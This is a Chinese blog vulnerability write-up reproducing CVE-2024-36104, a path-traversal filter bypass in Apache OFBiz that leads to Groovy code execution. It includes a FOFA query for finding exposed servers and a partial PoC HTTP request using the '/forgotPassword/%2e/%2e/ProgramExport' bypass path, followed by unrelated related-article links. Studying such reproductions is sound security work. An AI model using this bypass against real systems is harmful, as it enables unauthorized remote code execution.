当前位置: 首页 > news >正文

Apache OFBiz 路径遍历导致RCE漏洞复现(CVE-2024-36104)

0x01 产品简介

Apache OFBiz是一个电子商务平台,用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。是美国阿帕奇(Apache)基金会的一套企业资源计划(ERP)系统。该系统提供了一整套基于Java的Web应用程序组件和工具。

0x02 漏洞概述

Apache OFBiz 18.12.14之前版本存在命令执行漏洞,该漏洞源于org.apache.ofbiz.webapp.control.ControlFilter类对路径(请求URL中的特殊字符(如 ;、%2e)限制不当导致攻击者能够绕过后台功能点的过滤器验证,并通过/webtools/control/ProgramExport接口的编程导出功能执行任意Groovy代码获取系统权限。

0x03 影响范围

Apache OFBiz <= 18.12.14

0x04 复现环境

FOFA:app="Apache_OFBiz"

c0fb3204947b44dbb277a97723892e65.png

0x05 漏洞复现

PoC

POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
Host: you

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 【日记】挂着相机总是被认成专业人士……(766 字)
  • Jmeter压测 —— 1秒发送1次请求
  • 泉城济南的隐秘珍宝与山东旅游必去十大景点
  • R语言:paste和paste0函数辨析总结
  • 暂停系统更新
  • C++中的常见I/O方式
  • 关联规则延伸之协同过滤
  • Python魔法之旅-魔法方法(22)
  • kafka-生产者监听器(SpringBoot整合Kafka)
  • The First项目报告:Stargate Finance重塑跨链金融的未来
  • Vxe UI vxe-form 实现折叠表单,当表单很多时实现自动收起与展开
  • 独具魅力的 App UI 风格才能称之为优秀
  • 66. UE5 RPG 实现远程攻击武器配合角色攻击动画
  • 1. 面向对象的由来
  • MyBatis面试题系列三
  • Angular 响应式表单 基础例子
  • docker-consul
  • express如何解决request entity too large问题
  • HTML中设置input等文本框为不可操作
  • iOS 颜色设置看我就够了
  • JDK 6和JDK 7中的substring()方法
  • RxJS: 简单入门
  • Vue 2.3、2.4 知识点小结
  • 聊聊springcloud的EurekaClientAutoConfiguration
  • 前端代码风格自动化系列(二)之Commitlint
  • 少走弯路,给Java 1~5 年程序员的建议
  • 吴恩达Deep Learning课程练习题参考答案——R语言版
  • #!/usr/bin/python与#!/usr/bin/env python的区别
  • #07【面试问题整理】嵌入式软件工程师
  • #绘制圆心_R语言——绘制一个诚意满满的圆 祝你2021圆圆满满
  • (06)金属布线——为半导体注入生命的连接
  • (12)Hive调优——count distinct去重优化
  • (2021|NIPS,扩散,无条件分数估计,条件分数估计)无分类器引导扩散
  • (3)(3.5) 遥测无线电区域条例
  • (C++)栈的链式存储结构(出栈、入栈、判空、遍历、销毁)(数据结构与算法)
  • (分享)自己整理的一些简单awk实用语句
  • (一)SvelteKit教程:hello world
  • (转)Linux NTP配置详解 (Network Time Protocol)
  • (轉)JSON.stringify 语法实例讲解
  • .aanva
  • .chm格式文件如何阅读
  • .NET C# 配置 Options
  • .NET DevOps 接入指南 | 1. GitLab 安装
  • .NET(C#) Internals: as a developer, .net framework in my eyes
  • .net操作Excel出错解决
  • .NET正则基础之——正则委托
  • :如何用SQL脚本保存存储过程返回的结果集
  • [ C++ ] template 模板进阶 (特化,分离编译)
  • [ Linux ] Linux信号概述 信号的产生
  • []串口通信 零星笔记
  • [BZOJ1089][SCOI2003]严格n元树(递推+高精度)
  • [C#]C# winform实现imagecaption图像生成描述图文描述生成
  • [C++数据结构](22)哈希表与unordered_set,unordered_map实现
  • [CF543A]/[CF544C]Writing Code
  • [IE编程] IE中使网页元素进入编辑模式